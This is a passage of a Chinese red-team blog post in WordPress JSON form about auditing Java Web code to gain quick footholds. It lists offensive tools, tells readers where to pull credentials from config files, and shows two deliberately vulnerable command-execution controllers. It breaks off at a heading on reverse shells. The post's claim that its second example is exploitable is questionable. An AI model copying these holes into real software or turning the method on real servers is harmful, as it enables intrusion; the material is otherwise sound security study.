{"id":66171,"date":"2026-01-26T11:48:57","date_gmt":"2026-01-26T03:48:57","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/66171.html"},"modified":"2026-01-26T11:48:57","modified_gmt":"2026-01-26T03:48:57","slug":"%e7%ba%a2%e9%98%9f%e5%88%a9%e5%88%83%ef%bc%9ajava-web%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1%e5%bf%ab%e9%80%9f%e6%89%93%e7%82%b9%e5%ae%9e%e6%88%98-%e4%bb%8e%e6%bc%8f%e6%b4%9e%e5%ae%9a","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/66171.html","title":{"rendered":"\u7ea2\u961f\u5229\u5203\uff1aJava Web\u4ee3\u7801\u5ba1\u8ba1\u5feb\u901f\u6253\u70b9\u5b9e\u6218\u2014\u2014\u4ece\u6f0f\u6d1e\u5b9a\u4f4d\u5230\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u7cbe\u51c6\u7a81\u7834"},"content":{"rendered":"

\u5728\u7ea2\u961f\u653b\u9632\u5b9e\u6218\u4e2d，Java Web\u4f5c\u4e3a\u4f01\u4e1a\u7ea7\u5e94\u7528\u7684\u4e3b\u6d41\u6280\u672f\u6808，\u662f\u6e17\u900f\u6d4b\u8bd5\u7684\u6838\u5fc3\u76ee\u6807\u4e4b\u4e00\u3002\u4e0e\u767d\u76d2\u5ba1\u8ba1\u7684\u201c\u5168\u9762\u626b\u6f0f\u3001\u5408\u89c4\u6574\u6539\u201d\u4e0d\u540c，\u7ea2\u961f\u89c6\u89d2\u4e0b\u7684Java Web\u4ee3\u7801\u5ba1\u8ba1，\u6838\u5fc3\u903b\u8f91\u662f\u4ee5\u201c\u5feb\u901f\u6253\u70b9\u3001\u83b7\u53d6\u6743\u9650\u3001\u6a2a\u5411\u6269\u5c55\u201d\u4e3a\u552f\u4e00\u76ee\u6807，\u6452\u5f03\u65e0\u610f\u4e49\u7684\u4f4e\u5371\u6f0f\u6d1e\u6316\u6398，\u805a\u7126\u9ad8\u5371\u5bb3\u3001\u6613\u5229\u7528\u3001\u80fd\u76f4\u63a5\u843d\u5730\u7684\u6f0f\u6d1e\u70b9，\u901a\u8fc7\u201c\u5173\u952e\u8bcd\u5b9a\u4f4d-\u8f93\u5165\u6eaf\u6e90-\u6f0f\u6d1e\u9a8c\u8bc1-\u5b9e\u6218\u5229\u7528\u201d\u7684\u95ed\u73af\u6d41\u7a0b，\u5728\u6700\u77ed\u65f6\u95f4\u5185\u5b9e\u73b0\u4ece\u4ee3\u7801\u5230\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u7a81\u7834\u3002<\/p>\n

\u968f\u7740Java\u751f\u6001\u7684\u4e0d\u65ad\u5347\u7ea7，\u4ece\u4f20\u7edfSSM\u6846\u67b6\u5230SpringBoot\u5fae\u670d\u52a1\u3001\u4e91\u539f\u751f\u90e8\u7f72，Java Web\u7684\u4ee3\u7801\u7ed3\u6784\u3001\u4f9d\u8d56\u7ba1\u7406\u3001\u9632\u62a4\u673a\u5236\u90fd\u53d1\u751f\u4e86\u663e\u8457\u53d8\u5316，\u6f0f\u6d1e\u5f62\u5f0f\u4e5f\u4ece\u4f20\u7edf\u7684\u547d\u4ee4\u6267\u884c\u3001SQL\u6ce8\u5165，\u5ef6\u4f38\u5230\u6846\u67b6\u539f\u751f\u6f0f\u6d1e\u3001\u53cd\u5e8f\u5217\u5316\u53d8\u79cd\u3001\u5fae\u670d\u52a1\u95f4\u901a\u4fe1\u6f0f\u6d1e\u7b49\u65b0\u578b\u98ce\u9669\u3002\u672c\u6587\u5c06\u7ed3\u5408\u7ea2\u961f\u5b9e\u6218\u601d\u7ef4，\u4ece\u524d\u7f6e\u51c6\u5907\u3001\u9ad8\u4ef7\u503c\u6f0f\u6d1e\u5b9e\u6218\u5ba1\u8ba1\u3001\u6253\u70b9\u6d41\u7a0b\u3001\u907f\u5751\u6280\u5de7\u3001\u524d\u6cbf\u8d8b\u52bf\u5e94\u5bf9\u4e94\u4e2a\u7ef4\u5ea6，\u5168\u9762\u8bb2\u89e3Java Web\u4ee3\u7801\u5ba1\u8ba1\u7684\u5feb\u901f\u6253\u70b9\u65b9\u6cd5，\u540c\u65f6\u9002\u914d\u5f53\u524d\u4e3b\u6d41SpringBoot\u751f\u6001\u7684\u5ba1\u8ba1\u7279\u5f81，\u517c\u987e\u4f20\u7edfJava Web\u9879\u76ee，\u8ba9\u5ba1\u8ba1\u5de5\u4f5c\u66f4\u5177\u5b9e\u6218\u6027\u548c\u524d\u77bb\u6027\u3002<\/p>\n

\u4e00\u3001\u7ea2\u961f\u5ba1\u8ba1\u524d\u7f6e\u51c6\u5907：\u9ad8\u6548\u6253\u70b9\u7684\u57fa\u7840\u4fdd\u969c<\/h3>\n

\u7ea2\u961f\u5ba1\u8ba1\u7684\u6838\u5fc3\u662f\u201c\u4e0d\u505a\u65e0\u7528\u529f\u201d，\u524d\u7f6e\u51c6\u5907\u7684\u76ee\u6807\u662f\u5feb\u901f\u638c\u63e1\u76ee\u6807\u9879\u76ee\u7684\u6280\u672f\u6808\u5168\u8c8c\u3001\u6e90\u7801\u7ed3\u6784\u3001\u53ef\u63a7\u8f93\u5165\u5165\u53e3\u3001\u654f\u611f\u914d\u7f6e\u4f4d\u7f6e，\u4e3a\u540e\u7eed\u7cbe\u51c6\u5b9a\u4f4d\u6f0f\u6d1e\u6253\u4e0b\u57fa\u7840\u3002\u4e0e\u5e38\u89c4\u5ba1\u8ba1\u7684\u201c\u9010\u884c\u9605\u8bfb\u201d\u4e0d\u540c，\u7ea2\u961f\u7684\u524d\u7f6e\u51c6\u5907\u66f4\u5f3a\u8c03\u201c\u5de5\u5177\u5316\u3001\u8f7b\u91cf\u5316\u3001\u9488\u5bf9\u6027\u201d，\u901a\u8fc7\u5de5\u5177\u5feb\u901f\u63d0\u53d6\u5173\u952e\u4fe1\u606f，\u907f\u514d\u5728\u65e0\u5173\u4ee3\u7801\u4e0a\u6d6a\u8d39\u65f6\u95f4\u3002<\/p>\n

1. \u6838\u5fc3\u5de5\u5177\u96c6：\u5206\u573a\u666f\u9002\u914d，\u63d0\u5347\u5ba1\u8ba1\u6548\u7387<\/h4>\n

\u7ea2\u961f\u5ba1\u8ba1\u7684\u5de5\u5177\u9009\u62e9\u9075\u5faa\u201c\u8f7b\u91cf\u9ad8\u6548\u3001\u529f\u80fd\u4e92\u8865\u201d\u539f\u5219，\u5206\u4e3a\u53cd\u7f16\u8bd1\u3001\u4ee3\u7801\u68c0\u7d22\u3001\u6f0f\u6d1e\u9a8c\u8bc1\u3001\u5229\u7528\u8f85\u52a9\u56db\u5927\u7c7b，\u540c\u65f6\u9002\u914dWindows\/Linux\u7ec8\u7aef\u73af\u5883，\u6ee1\u8db3\u5185\u7f51\/\u5916\u7f51\u5ba1\u8ba1\u7684\u4e0d\u540c\u9700\u6c42\u3002\u90e8\u5206\u5de5\u5177\u652f\u6301\u547d\u4ee4\u884c\u6a21\u5f0f，\u53ef\u5feb\u901f\u96c6\u6210\u5230\u81ea\u52a8\u5316\u5ba1\u8ba1\u811a\u672c\u4e2d，\u63d0\u5347\u6279\u91cf\u5ba1\u8ba1\u6548\u7387\u3002<\/p>\n\n\u5de5\u5177\u7c7b\u578b\u6838\u5fc3\u63a8\u8350\u5de5\u5177\u5b9e\u6218\u4f18\u52bf\u9002\u7528\u573a\u666f<\/tr>\n\n\n\n\n\n\n
\u53cd\u7f16\u8bd1\u5de5\u5177<\/td>\nFernflower（IDEA\u63d2\u4ef6）\u3001JD-GUI\u3001Luyten<\/td>\nFernflower\u53cd\u7f16\u8bd1\u7cbe\u5ea6\u6700\u9ad8，\u652f\u6301SpringBoot\u53ef\u6267\u884cJAR\u5305；Luyten\u652f\u6301\u53cd\u7f16\u8bd1\u540e\u4ee3\u7801\u683c\u5f0f\u5316<\/td>\n\u672c\u5730\u5ba1\u8ba1\u6e90\u7801\/JAR\u5305；\u5feb\u901f\u67e5\u770bclass\u6587\u4ef6\u6838\u5fc3\u903b\u8f91<\/td>\n<\/tr>\n
\u4ee3\u7801\u641c\u7d22\u5de5\u5177<\/td>\nIDEA\u5168\u5c40\u641c\u7d22\u3001ripgrep\u3001ack-grep<\/td>\nripgrep\/ack-grep\u547d\u4ee4\u884c\u68c0\u7d22\u901f\u5ea6\u8fdc\u5feb\u4e8e\u539f\u751ffind，\u652f\u6301\u6b63\u5219\u5339\u914d，\u53ef\u6279\u91cf\u68c0\u7d22\u5371\u9669\u5173\u952e\u8bcd；IDEA\u652f\u6301\u6eaf\u6e90\u4ee3\u7801\u8c03\u7528\u94fe<\/td>\n\u5feb\u901f\u5b9a\u4f4d\u5371\u9669\u51fd\u6570\/\u654f\u611f\u5173\u952e\u8bcd；\u8ddf\u8e2a\u4ee3\u7801\u6267\u884c\u6d41\u7a0b<\/td>\n<\/tr>\n
\u6f0f\u6d1e\u9a8c\u8bc1\u5de5\u5177<\/td>\nBurp Suite Pro\u3001PostMan\u3001JDWP\u8fdc\u7a0b\u8c03\u8bd5<\/td>\nBurp\u652f\u6301\u8bf7\u6c42\u7be1\u6539\u3001payload\u7f16\u7801\u3001WAF\u7ed5\u8fc7；JDWP\u53ef\u8fdc\u7a0b\u8c03\u8bd5\u76ee\u6807\u9879\u76ee，\u786e\u8ba4\u6f0f\u6d1e\u89e6\u53d1\u70b9<\/td>\n\u9a8c\u8bc1\u6f0f\u6d1e\u662f\u5426\u53ef\u5229\u7528；\u8c03\u8bd5payload\u6267\u884c\u6d41\u7a0b<\/td>\n<\/tr>\n
\u5229\u7528\u8f85\u52a9\u5de5\u5177<\/td>\nysoserial\u3001SQLMap\u3001JSP Webshell\u751f\u6210\u5668<\/td>\nysoserial\u652f\u6301\u4e3b\u6d41\u53cd\u5e8f\u5217\u5316gadget\u751f\u6210；SQLMap\u9002\u914dJava\u751f\u6001\u7684SQL\u6ce8\u5165，\u652f\u6301Cookie\/Header\u6ce8\u5165；webshell\u751f\u6210\u5668\u9002\u914d\u4e0d\u540cTomcat\u7248\u672c<\/td>\n\u751f\u6210\u6f0f\u6d1e\u5229\u7528payload；\u81ea\u52a8\u5316SQL\u6ce8\u5165\u62ff\u6570\u636e；\u4e0a\u4f20GetShell<\/td>\n<\/tr>\n
\u914d\u7f6e\u5206\u6790\u5de5\u5177<\/td>\nConfigExtractor（\u81ea\u5b9a\u4e49\u811a\u672c）\u3001WinHex<\/td>\n\u5feb\u901f\u63d0\u53d6\u914d\u7f6e\u6587\u4ef6\u4e2d\u7684\u6570\u636e\u5e93\u5bc6\u7801\u3001\u5bc6\u94a5\u3001\u63a5\u53e3\u5730\u5740；WinHex\u53ef\u67e5\u770b\u4e8c\u8fdb\u5236\u914d\u7f6e\u6587\u4ef6<\/td>\n\u4ece\u914d\u7f6e\u6587\u4ef6\u4e2d\u83b7\u53d6\u654f\u611f\u4fe1\u606f；\u8f85\u52a9\u6a2a\u5411\u6e17\u900f<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

2. \u76ee\u6807\u4fe1\u606f\u5feb\u901f\u6536\u96c6：\u7ea2\u961f\u4f18\u5148\u5173\u6ce8\u7684\u4e94\u5927\u6838\u5fc3\u7ef4\u5ea6<\/h4>\n

\u4fe1\u606f\u6536\u96c6\u7684\u6df1\u5ea6\u76f4\u63a5\u51b3\u5b9a\u5ba1\u8ba1\u6548\u7387，\u7ea2\u961f\u9700\u805a\u7126**\u201c\u4e0e\u6f0f\u6d1e\u5229\u7528\u5f3a\u76f8\u5173\u201d**\u7684\u4fe1\u606f，\u907f\u514d\u6536\u96c6\u65e0\u5173\u7684\u9879\u76ee\u4e1a\u52a1\u7ec6\u8282\u3002\u901a\u8fc7\u53cd\u7f16\u8bd1\u5de5\u5177\u6253\u5f00\u6e90\u7801\/JAR\u5305\u540e，\u4f18\u5148\u67e5\u770b\u4ee5\u4e0b\u4e94\u5927\u7ef4\u5ea6，10\u5206\u949f\u5185\u5b8c\u6210\u9879\u76ee\u6838\u5fc3\u4fe1\u606f\u68b3\u7406：<\/p>\n

    \n
  • \u6280\u672f\u6808\u6846\u67b6：\u786e\u8ba4\u6838\u5fc3\u6846\u67b6（\u4f20\u7edfSSM\/SpringBoot\/SpringCloud）\u3001ORM\u6846\u67b6（MyBatis\/Hibernate\/JPA）\u3001Web\u5bb9\u5668（Tomcat\/Jetty\/Undertow）\u3001\u5e8f\u5217\u5316\u6846\u67b6（Fastjson\/Jackson\/Gson）\u3001\u6743\u9650\u6846\u67b6（Shiro\/Spring Security）；\u6846\u67b6\u7248\u672c\u662f\u5173\u952e，\u9700\u8bb0\u5f55\u5404\u6846\u67b6\u7684\u5177\u4f53\u7248\u672c，\u5339\u914d\u5bf9\u5e94\u7248\u672c\u7684\u539f\u751f\u6f0f\u6d1e（\u5982SpringBoot Actuator\u672a\u6388\u6743\u3001Fastjson 1.2.47\u53cd\u5e8f\u5217\u5316\u3001Shiro 1.2.4\u53cd\u5e8f\u5217\u5316\u7b49）\u3002<\/li>\n
  • \u6e90\u7801\u76ee\u5f55\u7ed3\u6784：\u5feb\u901f\u5b9a\u4f4d\u6838\u5fc3\u76ee\u5f55\u2014\u2014\u63a7\u5236\u5668\u5c42（controller\/action）\u3001\u4e1a\u52a1\u903b\u8f91\u5c42（service）\u3001\u6570\u636e\u8bbf\u95ee\u5c42（dao\/mapper）\u3001\u914d\u7f6e\u76ee\u5f55（config\/resources）\u3001\u4e0a\u4f20\u76ee\u5f55（upload\/file）\u3001\u540e\u53f0\u7ba1\u7406\u6a21\u5757（admin\/manager）；\u63a7\u5236\u5668\u5c42\u662f\u53ef\u63a7\u8f93\u5165\u7684\u6838\u5fc3\u5165\u53e3，\u9700\u91cd\u70b9\u6807\u8bb0\u6240\u6709@RequestMapping\u6ce8\u89e3\u7684\u63a5\u53e3\u3002<\/li>\n
  • \u7528\u6237\u53ef\u63a7\u8f93\u5165：\u68b3\u7406\u6240\u6709\u63a5\u6536\u7528\u6237\u8f93\u5165\u7684\u4f4d\u7f6e，\u5305\u62ecHTTP\u8bf7\u6c42\u53c2\u6570（@RequestParam\/@PathVariable）\u3001\u8bf7\u6c42\u4f53（@RequestBody）\u3001Cookie\u3001Header\u3001\u6587\u4ef6\u4e0a\u4f20\u6d41；\u6807\u8bb0\u65e0\u53c2\u6570\u6821\u9a8c\/\u8fc7\u6ee4\u7684\u8f93\u5165\u63a5\u53e3，\u8fd9\u662f\u6f0f\u6d1e\u7684\u9ad8\u6982\u7387\u89e6\u53d1\u70b9\u3002<\/li>\n
  • \u654f\u611f\u914d\u7f6e\u6587\u4ef6：\u5b9a\u4f4d\u914d\u7f6e\u6587\u4ef6\u4f4d\u7f6e（application.yml\/application.properties\u3001jdbc.properties\u3001shiro.ini\u3001redis.properties），\u5feb\u901f\u63d0\u53d6\u6570\u636e\u5e93\u8fde\u63a5\u4fe1\u606f\u3001Redis\u5bc6\u7801\u3001JWT\u5bc6\u94a5\u3001Shiro\u52a0\u5bc6\u5bc6\u94a5\u7b49；\u8fd9\u4e9b\u654f\u611f\u4fe1\u606f\u4e0d\u4ec5\u80fd\u8f85\u52a9\u6f0f\u6d1e\u5229\u7528，\u8fd8\u80fd\u76f4\u63a5\u4f5c\u4e3a\u6a2a\u5411\u6e17\u900f\u7684\u7a81\u7834\u53e3\u3002<\/li>\n
  • \u6587\u4ef6\u5b58\u50a8\u4e0e\u8bbf\u95ee：\u786e\u8ba4\u6587\u4ef6\u4e0a\u4f20\u7684\u4fdd\u5b58\u8def\u5f84\u3001\u9759\u6001\u8d44\u6e90\u7684\u8bbf\u95ee\u8def\u5f84，\u5224\u65ad\u662f\u5426\u4e3aWeb\u5bb9\u5668\u7684\u53ef\u8bbf\u95ee\u76ee\u5f55；\u82e5\u4e0a\u4f20\u6587\u4ef6\u4fdd\u5b58\u5728\/webapps\/ROOT\/\u7b49\u76ee\u5f55\u4e0b，\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u7684\u5229\u7528\u4ef7\u503c\u5c06\u5927\u5e45\u63d0\u5347\u3002<\/li>\n<\/ul>\n

    3. \u7ea2\u961f\u4e13\u5c5e\u5ba1\u8ba1\u6280\u5de7：\u9ed1\u76d2+\u767d\u76d2\u7ed3\u5408，\u7f29\u5c0f\u5ba1\u8ba1\u8303\u56f4<\/h4>\n

    \u5728\u5b9e\u9645\u7ea2\u961f\u5b9e\u6218\u4e2d，\u5e38\u9047\u5230\u4ec5\u6709\u9ed1\u76d2\u8bbf\u95ee\u6743\u9650\u3001\u90e8\u5206\u6e90\u7801\/\u5168\u91cfJAR\u5305\u7684\u60c5\u51b5，\u7eaf\u767d\u76d2\u5ba1\u8ba1\u7684\u573a\u666f\u8f83\u5c11\u3002\u6b64\u65f6\u53ef\u901a\u8fc7\u201c\u9ed1\u76d2\u63a2\u6d4b+\u767d\u76d2\u5ba1\u8ba1\u201d\u7684\u7ed3\u5408\u65b9\u5f0f，\u5148\u901a\u8fc7\u9ed1\u76d2\u5de5\u5177（\u5982Burp\u3001Nmap）\u63a2\u6d4b\u76ee\u6807\u7684\u53ef\u7528\u63a5\u53e3\u3001\u6846\u67b6\u7279\u5f81\u3001\u9632\u62a4\u63aa\u65bd（\u5982WAF\u3001\u63a5\u53e3\u8fc7\u6ee4），\u518d\u5728\u767d\u76d2\u5ba1\u8ba1\u4e2d\u805a\u7126\u8fd9\u4e9b\u63a2\u6d4b\u5230\u7684\u63a5\u53e3\u548c\u6a21\u5757，\u5927\u5e45\u7f29\u5c0f\u5ba1\u8ba1\u8303\u56f4，\u63d0\u5347\u6253\u70b9\u6548\u7387\u3002<\/p>\n

    \u4f8b\u5982：\u901a\u8fc7\u9ed1\u76d2\u63a2\u6d4b\u53d1\u73b0\u76ee\u6807\u5b58\u5728\/api\/exec\u3001\/api\/upload\u63a5\u53e3，\u4e14\u54cd\u5e94\u5934\u5305\u542bSpringBoot\/2.2.6.RELEASE，\u90a3\u4e48\u5728\u767d\u76d2\u5ba1\u8ba1\u4e2d\u53ef\u76f4\u63a5\u641c\u7d22\u8fd9\u4e24\u4e2a\u63a5\u53e3\u7684\u63a7\u5236\u5668\u4ee3\u7801，\u540c\u65f6\u68c0\u67e5SpringBoot 2.2.6\u7248\u672c\u662f\u5426\u5b58\u5728\u539f\u751f\u6f0f\u6d1e，\u65e0\u9700\u9010\u884c\u9605\u8bfb\u6574\u4e2a\u9879\u76ee\u7684\u4ee3\u7801\u3002<\/p>\n

    \u4e8c\u3001\u7ea2\u961f\u4f18\u5148\u5ba1\u8ba1\u7684\u9ad8\u4ef7\u503c\u6f0f\u6d1e：\u4ece\u4ee3\u7801\u5230\u6253\u70b9\u7684\u7cbe\u51c6\u7a81\u7834<\/h3>\n

    \u7ea2\u961f\u5ba1\u8ba1\u7684\u6838\u5fc3\u539f\u5219\u662f**\u201c\u5371\u5bb3\u4f18\u5148\u3001\u5229\u7528\u4f18\u5148\u3001\u843d\u5730\u4f18\u5148\u201d，\u5373\u4f18\u5148\u6316\u6398\u5229\u7528\u96be\u5ea6\u4f4e\u3001\u5371\u5bb3\u7b49\u7ea7\u9ad8\u3001\u80fd\u76f4\u63a5\u5b9e\u73b0\u62ff\u6743\u9650\/\u62ff\u6570\u636e\/\u6a2a\u5411\u6269\u5c55**\u7684\u6f0f\u6d1e，\u4f4e\u5371\u6f0f\u6d1e（\u5982\u5355\u7eaf\u7684XSS\u3001\u672a\u52a0\u5bc6\u7684\u654f\u611f\u4fe1\u606f\u4f20\u8f93）\u9664\u975e\u80fd\u8f85\u52a9\u9ad8\u4ef7\u503c\u6f0f\u6d1e\u5229\u7528，\u5426\u5219\u4e00\u5f8b\u6682\u65f6\u5ffd\u7565\u3002<\/p>\n

    \u7ed3\u5408\u5f53\u524dJava Web\u7684\u6280\u672f\u6808\u73b0\u72b6，\u4ece\u4f20\u7edfSSM\u5230SpringBoot\u5fae\u670d\u52a1，\u7ea2\u961f\u5c06\u4ee5\u4e0b\u6f0f\u6d1e\u6309\u5229\u7528\u4ef7\u503c\u4ece\u9ad8\u5230\u4f4e\u6392\u5e8f，\u540c\u65f6\u9488\u5bf9\u6bcf\u4e2a\u6f0f\u6d1e\u63d0\u4f9b\u5ba1\u8ba1\u7279\u5f81\u3001\u5b9e\u6218\u4ee3\u7801\u6848\u4f8b\u3001\u6f0f\u6d1e\u9a8c\u8bc1\u3001\u5b9e\u6218\u5229\u7528\u3001\u7ed5\u8fc7\u6280\u5de7，\u8986\u76d6\u4ece\u4ee3\u7801\u5b9a\u4f4d\u5230\u5b9e\u9645\u6253\u70b9\u7684\u5168\u6d41\u7a0b，\u517c\u987e\u4f20\u7edf\u6f0f\u6d1e\u548c\u65b0\u578b\u6846\u67b6\u6f0f\u6d1e，\u8ba9\u5ba1\u8ba1\u7ed3\u679c\u76f4\u63a5\u670d\u52a1\u4e8e\u653b\u9632\u5b9e\u6218\u3002<\/p>\n

    1. \u547d\u4ee4\u6267\u884c\/\u4ee3\u7801\u6267\u884c：\u76f4\u63a5\u62ff\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u201c\u7ec8\u6781\u6f0f\u6d1e\u201d<\/h4>\n

    \u547d\u4ee4\u6267\u884c\/\u4ee3\u7801\u6267\u884c\u662f\u7ea2\u961f\u5ba1\u8ba1\u4e2d\u4ef7\u503c\u6700\u9ad8\u7684\u6f0f\u6d1e，\u5229\u7528\u6210\u529f\u540e\u53ef\u76f4\u63a5\u83b7\u53d6\u76ee\u6807\u670d\u52a1\u5668\u7684\u7cfb\u7edf\u6743\u9650，\u5b9e\u73b0\u4e00\u952e\u6253\u70b9，\u4e5f\u662f\u5916\u7f51\u6e17\u900f\u4e2d\u6700\u4f18\u5148\u6316\u6398\u7684\u6f0f\u6d1e\u7c7b\u578b\u3002\u8be5\u6f0f\u6d1e\u7684\u6838\u5fc3\u89e6\u53d1\u6761\u4ef6\u662f：\u7528\u6237\u53ef\u63a7\u8f93\u5165\u76f4\u63a5\/\u95f4\u63a5\u4f20\u5165\u5371\u9669\u6267\u884c\u51fd\u6570，\u4e14\u65e0\u6709\u6548\u8fc7\u6ee4\/\u8f6c\u4e49\u3002<\/p>\n

    \u968f\u7740Java\u751f\u6001\u7684\u9632\u62a4\u5347\u7ea7，\u76f4\u63a5\u7684\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u5df2\u9010\u6e10\u51cf\u5c11，\u4f46\u5728\u8fd0\u7ef4\u7ba1\u7406\u6a21\u5757\u3001\u7b2c\u4e09\u65b9\u96c6\u6210\u63a5\u53e3\u3001\u81ea\u5b9a\u4e49\u5de5\u5177\u7c7b\u4e2d\u4ecd\u9891\u7e41\u51fa\u73b0，\u4e14SpringBoot\u751f\u6001\u4e2d\u56e0\u7b80\u5316\u5f00\u53d1，\u90e8\u5206\u5f00\u53d1\u8005\u4f1a\u5ffd\u7565\u53c2\u6570\u6821\u9a8c，\u5bfc\u81f4\u6f0f\u6d1e\u89e6\u53d1\u6982\u7387\u63d0\u5347\u3002<\/p>\n

    （1）\u6838\u5fc3\u5ba1\u8ba1\u7279\u5f81：\u7cbe\u51c6\u5b9a\u4f4d\u53ef\u7591\u4ee3\u7801<\/h5>\n

    \u901a\u8fc7\u5173\u952e\u8bcd\u5168\u5c40\u641c\u7d22\u5373\u53ef\u5feb\u901f\u5b9a\u4f4d\u53ef\u7591\u4ee3\u7801，\u7ea2\u961f\u9700\u91cd\u70b9\u641c\u7d22\u4ee5\u4e0b\u5371\u9669\u51fd\u6570\u548c\u6ce8\u89e3，\u540c\u65f6\u8ddf\u8e2a\u51fd\u6570\u7684\u8f93\u5165\u53c2\u6570\u662f\u5426\u4e3a\u7528\u6237\u53ef\u63a7：<\/p>\n

      \n
    • \u547d\u4ee4\u6267\u884c\u6838\u5fc3\u51fd\u6570：Runtime.getRuntime().exec()\u3001ProcessBuilder.start()\u3001ProcessImpl.start()；<\/li>\n
    • \u4ee3\u7801\u6267\u884c\u6838\u5fc3\u51fd\u6570：ScriptEngineManager.eval()\u3001ClassLoader.loadClass()\u3001Method.invoke()；<\/li>\n
    • \u5173\u952e\u6ce8\u89e3：@RequestMapping\u3001@PostMapping\u3001@GetMapping（\u6807\u8bb0\u63a5\u53e3\u5165\u53e3）；<\/li>\n
    • \u8f93\u5165\u53c2\u6570\u6ce8\u89e3：@RequestParam\u3001@PathVariable\u3001@RequestBody（\u6807\u8bb0\u7528\u6237\u53ef\u63a7\u8f93\u5165）\u3002<\/li>\n<\/ul>\n

      \u5ba1\u8ba1\u5173\u952e：\u5224\u65ad\u8f93\u5165\u53c2\u6570\u662f\u5426\u76f4\u63a5\u4f20\u5165\u5371\u9669\u51fd\u6570，\u6216\u7ecf\u8fc7\u7b80\u5355\u7684\u5b57\u7b26\u4e32\u62fc\u63a5\u540e\u4f20\u5165，\u4e14\u65e0\u4efb\u4f55\u8fc7\u6ee4（\u5982\u9ed1\u540d\u5355\u8fc7\u6ee4\u3001\u767d\u540d\u5355\u6821\u9a8c\u3001\u7279\u6b8a\u5b57\u7b26\u8f6c\u4e49）\u3002<\/p>\n

      （2）\u5b9e\u6218\u5ba1\u8ba1\u6848\u4f8b：\u4f20\u7edfSSM+SpringBoot\u53cc\u573a\u666f<\/h5>\n
      \u6848\u4f8b1：\u4f20\u7edfSSM\u6846\u67b6\u7684\u76f4\u63a5\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<\/h6>\n

      \/\/ \u6f0f\u6d1e\u4ee3\u7801：\u8fd0\u7ef4\u7ba1\u7406\u6a21\u5757\u7684cmd\u6267\u884c\u63a5\u53e3，\u7528\u6237\u8f93\u5165\u7684cmd\u53c2\u6570\u76f4\u63a5\u4f20\u5165exec\u6267\u884c<\/span>
      \n@Controller<\/span>
      \n@RequestMapping<\/span>(<\/span>"\/admin\/ops"<\/span>)<\/span>
      \npublic<\/span> class<\/span> OpsController<\/span> {<\/span>
      \n @RequestMapping<\/span>(<\/span>"\/execCmd"<\/span>)<\/span>
      \n @ResponseBody<\/span>
      \n public<\/span> String<\/span> execCmd<\/span>(<\/span>@RequestParam<\/span> String<\/span> cmd)<\/span> throws<\/span> Exception<\/span> {<\/span>
      \n \/\/ \u65e0\u4efb\u4f55\u8fc7\u6ee4，\u7528\u6237\u8f93\u5165\u76f4\u63a5\u6267\u884c<\/span>
      \n Process<\/span> process =<\/span> Runtime<\/span>.<\/span>getRuntime<\/span>(<\/span>)<\/span>.<\/span>exec<\/span>(<\/span>cmd)<\/span>;<\/span>
      \n \/\/ \u8bfb\u53d6\u6267\u884c\u7ed3\u679c\u5e76\u8fd4\u56de<\/span>
      \n BufferedReader<\/span> br =<\/span> new<\/span> BufferedReader<\/span>(<\/span>new<\/span> InputStreamReader<\/span>(<\/span>process.<\/span>getInputStream<\/span>(<\/span>)<\/span>)<\/span>)<\/span>;<\/span>
      \n StringBuilder<\/span> sb =<\/span> new<\/span> StringBuilder<\/span>(<\/span>)<\/span>;<\/span>
      \n String<\/span> line;<\/span>
      \n while<\/span> (<\/span>(<\/span>line =<\/span> br.<\/span>readLine<\/span>(<\/span>)<\/span>)<\/span> !=<\/span> null<\/span>)<\/span> {<\/span>
      \n sb.<\/span>append<\/span>(<\/span>line)<\/span>.<\/span>append<\/span>(<\/span>"\\\\n"<\/span>)<\/span>;<\/span>
      \n }<\/span>
      \n return<\/span> sb.<\/span>toString<\/span>(<\/span>)<\/span>;<\/span>
      \n }<\/span>
      \n}<\/span><\/p>\n

      \u6848\u4f8b2：SpringBoot\u6846\u67b6\u7684\u62fc\u63a5\u5f0f\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e<\/h6>\n

      \/\/ \u6f0f\u6d1e\u4ee3\u7801：\u81ea\u5b9a\u4e49\u5de5\u5177\u7c7b\u7684ping\u63a5\u53e3，\u7528\u6237\u8f93\u5165\u7684ip\u53c2\u6570\u62fc\u63a5\u540e\u4f20\u5165exec\u6267\u884c<\/span>
      \n@RestController<\/span>
      \n@RequestMapping<\/span>(<\/span>"\/tool"<\/span>)<\/span>
      \npublic<\/span> class<\/span> ToolController<\/span> {<\/span>
      \n @GetMapping<\/span>(<\/span>"\/ping"<\/span>)<\/span>
      \n public<\/span> String<\/span> ping<\/span>(<\/span>@RequestParam<\/span> String<\/span> ip)<\/span> throws<\/span> Exception<\/span> {<\/span>
      \n \/\/ \u770b\u4f3c\u6709\u56fa\u5b9a\u524d\u7f00，\u5b9e\u5219\u62fc\u63a5\u7528\u6237\u8f93\u5165，\u4ecd\u5b58\u5728\u547d\u4ee4\u6267\u884c<\/span>
      \n String<\/span> cmd =<\/span> "ping -c 3 "<\/span> +<\/span> ip;<\/span>
      \n Process<\/span> process =<\/span> new<\/span> ProcessBuilder<\/span>(<\/span>cmd.<\/span>split<\/span>(<\/span>" "<\/span>)<\/span>)<\/span>.<\/span>start<\/span>(<\/span>)<\/span>;<\/span>
      \n \/\/ \u7701\u7565\u7ed3\u679c\u8bfb\u53d6\u4ee3\u7801<\/span>
      \n return<\/span> "ping\u7ed3\u679c："<\/span> +<\/span> ip;<\/span>
      \n }<\/span>
      \n}<\/span><\/p>\n

      （3）\u7ea2\u961f\u5b9e\u6218\u5229\u7528：\u4ecepayload\u6784\u9020\u5230\u53cd\u5f39shell<\/h5>\n

